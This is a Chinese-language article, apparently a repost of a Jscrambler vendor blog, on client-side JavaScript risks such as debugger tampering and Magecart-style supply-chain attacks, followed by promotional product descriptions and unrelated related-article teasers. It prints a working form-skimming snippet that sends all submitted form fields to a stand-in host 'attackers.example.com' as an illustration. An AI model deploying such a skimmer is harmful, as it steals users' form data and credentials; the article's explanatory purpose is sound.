编写安全 JavaScript 代码的最佳实践

编写安全 JavaScript 代码的最佳实践

JavaScript 的动态特性使其成为事实上的浏览器语言和世界上最流行的编程语言。

JS 最受欢迎的有用功能之一是即时分析。这意味着浏览器在下载内容的同时执行代码,这显然有其优势。然而,这种程度的自由也伴随着问题。

通过我们的最佳实践和提示了解有关 JavaScript 安全风险的更多信息,并了解如何保护自己免受 JavaScript 风险的安全政策。

浏览器是如何工作的

想象一下浏览器所需的所有步骤。首先,我们需要下载页面并开始解析。浏览器不会等待所有内容下载完毕。我们可以同时下载和解析页面。

JavaScript 会阻塞渲染,这在运行时有很大的优势。这意味着浏览器停止解析,首先执行 JavaScript,然后继续,这提供了使用这种编程语言的灵活性,并使代码具有多种可能性。

JavaScript 的风险

1. 调试与操作

OWASP 的应用程序安全指南强调了逆向工程和应用程序源代码操纵所带来的威胁,特别是对于处理敏感数据或执行关键操作的应用程序。

基于 JavaScript 的应用程序就是这种情况,其中这些风险可以通过各种攻击的形式被利用,例如: B. 知识产权盗窃、自动滥用、黑客攻击和数据泄露。

由于 NIST 和 ISO 27001 等法规和标准也提到了未受保护的源代码的风险,因此他们建议组织实施严格的控制程序,以防止其遭受可能的攻击的后果。

为了说明这些风险,请考虑以下代码片段:

<div id="hack-target"></div>
<button>Set Value</button><script>document.querySelector('button').addEventListener('click', setValue);function setValue() {var value = '2';document.getElementById('hack-target').innerText = value;}
</script>

这在 HTML 中声明了一个目标。当点击按钮时,会触发回调。

使用客户端 JavaScript,我们可以在设置值的位置设置断点。当事件被触发时,恰好到达该断点。

var value = '2’指定的值;可以随意改变。调试器停止执行并允许人们修改页面。此功能在调试期间非常有用。

当调试器停止执行时,它具有“中断执行”的能力。甚至页面渲染。

调试是浏览器工具的一部分,因此每个人都可以访问它。

在这里插入图片描述
我们知道这个功能对于调试 JavaScript 非常有用,但是它会对 JavaScript 代码的安全性产生什么影响呢?

正如任何人都可以将调试工具用于合法目的一样,攻击者也可以使用此功能在运行时修改 JavaScript。攻击者可以命中断点、修改 DOM 并将任意 JavaScript 注入控制台。

此类攻击可用于利用客户端漏洞。攻击者可以修改数据、劫持会话并对页面的 JavaScript 进行任意更改,从而损害原始代码的安全性。

攻击者可以直接修改代码、动态改变内存内容、修改或替换应用程序使用的系统API,甚至修改数据和应用程序资源。这可能为攻击者提供直接机会,破坏软件的预期用途以获取个人或经济利益。

例如,如果 Web 开发人员工具打开,任何人都可以转到“控制台”选项卡并键入:

document.querySelector('button').addEventListener('click', function() {alert('sacked');
});

2. 数据泄露和其他客户端攻击

除了攻击者针对 JavaScript 源代码本身的安全风险外,我们还必须考虑在浏览器中任意执行 JavaScript 的危险。

我们发现网络供应链攻击(例如 Magecart 攻击)不断增加,这些攻击会淹没网络并利用客户端窃取数据。为了正确理解这一点,请看以下示例。

假设我们的 CDN 和 Web 集成站点上的 jQuery 脚本以某种方式受到损害,它将被更改。

```js
! function() {document.querySelectorAll("form").forEach(function(a) {a.addEventListener("submit", function(a) {var b;if (!a.target) return null;b = new FormData(a.target);var d = "";for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];return (new Image).src = "https://attackers.example.com/?" + d.substring(1), !0})})
}();

我们可能不会注意到此更改,并且我们的网站将传播恶意软件。

我们可以这样理解其中的逻辑:

对于页面上的每个表单。

添加了提交事件处理程序,因此在触发时会发生此事件。

使用查询字符串格式收集并重写表单数据。

然后将其添加到图像资源的新源 URL。

每次提交表单时,都会将相同的数据发送到远程服务器(ttackers.example.com),请求假定的图像资源。

然后攻击者就成为它的所有者。

结果,即使我们的服务器没有受到任何破坏,我们网站的用户数据也会悄悄地直接落入攻击者手中。这就是为什么网络供应链攻击如今构成如此重大的威胁,GDPR、CCPA 和 HIPAA 等法规对用户数据泄露处以巨额罚款。

如何保护客户端 JavaScript

1. 保护 JavaScript 代码

鉴于 Web 的灵活性和动态特性,保护 JavaScript 代码免受潜在攻击者的最佳选择是添加运行时保护。

该安全层在执行期间保护 JavaScript 代码以防止篡改,为客户端应用程序提供最强的保护。

运行时应用程序自我保护是内置于应用程序或应用程序执行环境中或与应用程序或应用程序执行环境相关联的安全技术,可以监视和检测应用程序执行并防止攻击。实时。

一旦 JavaScript 到达浏览器,它就不再启用。没有什么可以完全保护其执行。运行时保护可防止仅在运行时发生的调试和代码操纵攻击。这包括在应用程序离线时修改应用程序的攻击。

良好的运行时安全解决方案还会混淆 JavaScript 代码,使攻击者无法修改它。自己寻找解决方案或避免它。

所有这些保护层都是为了确保 JavaScript 代码在 Web 上安全运行,尽管开发人员尽了最大努力。篡改它。

当攻击者试图绕过我们的代码时,强大的运行时安全解决方案还会发送通知。这允许应用程序所有者做出响应并采取行动,例如注销用户。

Jscrambler 完整性代码

Jscrambler 代码完整性提供了一种运行时安全解决方案,可保护应用程序免受运行时攻击。它将反调试和防篡改技术与其他自卫功能相结合,为 JavaScript 应用程序提供主动保护。详细地:

反调试检测调试工具(例如 DevTools、Firebug)的使用并阻止调试器以停止逆向工程过程。

这是通过代码陷阱和死对象来实现的,这些陷阱和死对象会阻止调试工具工作并增加调用堆栈,从而阻止用户控制应用程序的控制流。

顾名思义,减少控制流可以使程序流程扁平化,并添加晦涩的谓词和不相关的代码克隆。

任何使代码更易于阅读的自然条件构造都消失了。

该操作会检测代码中的更改并做出相应的反应。例如,如果我们使用 Jscrambler 的自我防御功能在受保护的函数中添加或删除分号,则会检测到此更改,并且代码将停止工作。

应用这两种技术。通过代码混淆,攻击者不可能修改我们的应用程序。

我们可以通过我们的免费试用开始保护我们的应用程序的客户端。

2. 客户端安全

JavaScript 开发过程通常依赖于使用开源组件来加速开发。大多数网站在运行时运行多个第三方脚本(聊天机器人、分析、广告等)。

使用这些来自外部源的代码片段会增加客户端攻击的攻击面。

由于传统的安全系统(服务器端安全、网络安全)不以客户端为目标。为了应对这些日益严重的威胁,公司需要对其网站的客户端进行全面的可见性和控制。

Jscrambler 网页完整性

Jscrambler 网页完整性提供全面的客户端保护,防止客户端攻击,例如 Magecart 网络浏览器和数据泄露。更确切地说:

完整实时观察任何第三方脚本的行为。

这意味着了解是否加载或插入了额外的代码,是否发送了数据,是否从表单、cookie 和本地存储访问了数据,是否更改了 DOM,等等。

所有这些网站脚本及其发出的网络请求的完整清单。

强大的规则引擎,允许灵活、精细地控制每个脚本的行为,并自动阻止不良行为,例如: B. 操纵其他代码,允许网站访问注册表单的“密码”字段、访问 cookie 或本地存储、联系某些域等。

要开始使用 Jscrambler 网页完整性,请为我们的网站申请免费的库存报告。此报告提供了在我们的站点上运行的所有第三方脚本及其行为的摘要,并细分为有用的安全信息。

结论

因为 JavaScript 存在于大多数 Web 上(包括处理极其敏感的用户数据的站点),并且就其本质而言,它是一种 Web 动态语言。该系统设计灵活,但引发了额外的安全问题。

就像任何双刃剑一样,我们需要谨慎对待它。为了保护我们的 JavaScript 代码,我们需要考虑运行时会发生什么,因为攻击者可以针对暴露的源代码并通过第三方脚本注入恶意 JavaScript 代码。

如果我们能够成功解决这两个方面的问题,我们将领先攻击者一步,编写出更安全的代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/204491.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis实战命令

实战命令 单值缓存 set key value get key 对象缓存 &#xff08;1&#xff09;set user:1 value(json格式) &#xff08;2&#xff09;mset user:1:name junfeng user:1:age 18 mget user:1:name user:1:age 分布式锁 分布式锁解决了什么问题&#xff1f; 分布式锁解…

[带余除法寻找公共节点]二叉树

二叉树 题目描述 如上图所示&#xff0c;由正整数1, 2, 3, ...组成了一棵无限大的二叉树。从某一个结点到根结点&#xff08;编号是1的结点&#xff09;都有一条唯一的路径&#xff0c;比如从10到根结点的路径是(10, 5, 2, 1)&#xff0c;从4到根结点的路径是(4, 2, 1)&#x…

【中间件】服务化中间件理论intro

中间件middleware 内容管理 intro服务化middleware架构注册中心intro服务治理系统intro 本文主要intro服务化中间件的探讨 去年cfeng写了一篇博客走马观花般阐述了Spring Cloud下面的各种中间件&#xff0c;连深入使用都谈不上&#xff0c;只能说intro&#xff0c;在实际work中…

linux用户身份切换su和 sudo

su 切换root&#xff0c;但是&#xff0c;环境变量是之前用户的 可以看到利用su切换&#xff0c;根目录还是pro1的 su - 连同环境一起切换成root&#xff0c;切换后工作目录都不一样了&#xff0c;看输入内容左侧信息&#xff0c;和第一个图片比较 -c仅执行一次命令&#xff0…

面试必须要知道的MySQL知识--索引

10 索引 10.1 数据页存储结构 10.1.1 数据页的各个部分 在讲索引之前&#xff0c;让我们看看一个单独的数据页是什么样子的 去除掉一些我们不太需要那么关注的部分后&#xff0c;简化如下&#xff1a; 也就是说平时我们在一个表里插入的一行一行的数据会存储在数据页里&#…

k8s-deployment控制器 5

K8s控制器是Kubernetes&#xff08;简称k8s&#xff09;系统中一个重要的组成部分&#xff0c;它是一个管理Pod的中间层&#xff0c;可以创建和管理多个Pod副本&#xff0c;确保它们按照预定的数量和行为进行运行。 通过编写yaml文件将信息全部存到etcd中&#xff0c;控制器通…

HTTP协议发展

HTTP 1.0 -> HTTP 1.1 -> HTTP 2.0 -> HTTP 3.0 (QUIC) 每一代HTTP解决了什么问题&#xff1f; 下图说明了主要功能。 HTTP 1.0 于 1996 年最终确定并完整记录。对同一服务器的每个请求都需要单独的 TCP 连接。 HTTP 1.1 于 1997 年发布。TCP 连接可以保持打开状态…

Flask教程入门

1.学习Flask之前&#xff0c;首先需要对URL进行一定的了解。 URL的一些知识&#xff1a; 1.URL只能包含ASCII码里面一些可显示的字符&#xff0c;如A-Z&#xff0c;a-z&#xff0c;0-9&#xff0c;&&#xff0c;#&#xff0c;%&#xff0c;&#xff1f;&#xff0c;/等字符…

spring boot项目未将resource目录标志为资源目录导致配置文件无效因而运行报错问题

能编译&#xff0c;但不能运行。感觉配置文件没有生效。 将程序代码发给同事&#xff0c;我自己能跑&#xff0c;他不能跑&#xff0c;提示无法构造redis对象。redis的链接写在配置文件里&#xff0c;其实是可以连接的。然后从GIT库下载代码&#xff0c;也同样不能跑。同事的操…

外网IP和内网IP的区别

首先得先知道什么是ip地址&#xff0c;它就是唯一标识连接网络的设备的&#xff0c;即IP地址充当了设备在网络中的“住址”&#xff0c;使得设备能够相互通信和交换数据。 我们常听开发人员说外网内网&#xff0c;那么它们有什么区别呢&#xff1f; 外网可以理解为互联网&…

Springboot的excel导出

这里导出excel用到的是 阿里巴巴的easyexcel 1、首先导入依赖 <!--alibaba easyexcel--><dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>2.1.6</version> </dependency> 2、…

第二十章——多线程

一.线程简介 线程的特点 1.进程是资源分配的最小单位&#xff0c;线程是最小的执行单位 2.一个进程可以有多个线程 3.线程共享进程资源 二.创建线程 1.继承Thread类 1.Thread类是java.lang包中的一个类&#xff0c;从这个类实例化的对象代表线程&#xff0c;程序员启动一个新…

三 STM32F4使用Sys_Tick 实现微秒定时器和延时

更多细节参考这篇 1. 什么是时钟以及作用 1.1 什么是时钟 时钟是由电路产生的周期性的脉冲信号&#xff0c;相当于单片机的心脏 1.2 时钟对于STM32的作用 指令同步&#xff1a;cpu和内核外设使用时钟信号来进行指令同步数据传输控制&#xff1a; 时钟信号控制数据在内部总…

sqli-labs(6)

27. 过滤了union和select 使用双写绕过 有报错信息使用报错注入 1and(extractvalue(1,concat(0x5c,database())))and11 1and(updatexml(1,concat(0x7e,database(),0x7e),1))and11 1and(extractvalue(1,concat(0x5c,(selseselectlectect(group_concat(table_name))from(inform…

Spring Boot 3 + Spring Security 6 最新版本修改 Json 登录后 RememberMe 功能问题失效的解决方案

当 Spring Boot 版本更新到 3 之后&#xff0c;最低要求的 JDK 版本变为 17&#xff0c;相应的 最新版本的 Spring Security 的配置也发生了变化&#xff0c;一下主要讲解一些新的 Spring Security 的配置方法 1. 配置由继承WebSeucrityConfigurerAdapter变成只需添加一个Secur…

每天五分钟计算机视觉:LeNet是最早用于数字识别的卷积神经网络

LeNet 假设你有一张 32321 的图片,然后使用 6 个 55的过滤器,步幅为 1,padding 为 0,输出结果为 28286。图像尺寸从 3232 缩小到 2828。 然后进行池化操作,使用平均池化,过滤器的宽度为 2,步幅为 2,图像的尺寸,高度和宽度都缩小了 2 倍,输出结果是一个14146 的图像。…

【LeetCode】挑战100天 Day13(热题+面试经典150题)

【LeetCode】挑战100天 Day13&#xff08;热题面试经典150题&#xff09; 一、LeetCode介绍二、LeetCode 热题 HOT 100-152.1 题目2.2 题解 三、面试经典 150 题-153.1 题目3.2 题解 一、LeetCode介绍 LeetCode是一个在线编程网站&#xff0c;提供各种算法和数据结构的题目&…

Redis 持久化机制

client Redis[内存] --> 内存数据、磁盘数据----> 磁盘&#xff0c;Redis官方提供了两种不同的持久化方案将内存中的数据存储在硬盘中&#xff1a; 快照&#xff08;Snapshot&#xff09; AOF只追加日志文件。 1、快照&#xff08;Snapshot&#xff09; 1、快照的特点…

鸿蒙开发报错:agconnect sdk not initialized. please call initialize()【BUG已解决】

文章目录 项目场景:问题描述原因分析:解决方案:总结:项目场景: 鸿蒙开发报错: agconnect sdk not initialized. please call initialize() 问题描述 报错内容为: 10-25 11:41:01.152 6076-16676 E A0c0d0/JSApp: app Log: 数据查询失败: {“code”:1100001,“messag…

Boot工程快速启动【Linux】

Boot工程快速启动【Linux】 在idea中打包cd usr/在local文件夹下mkdir app进入app文件夹把打包好的文件&#xff08;只上传其中的jar&#xff09;上传到app文件下检查linux中的Java版本&#xff0c;保证和项目的Java 版本保持一致运行 java -jar sp补全***.jar想看效果得查询当…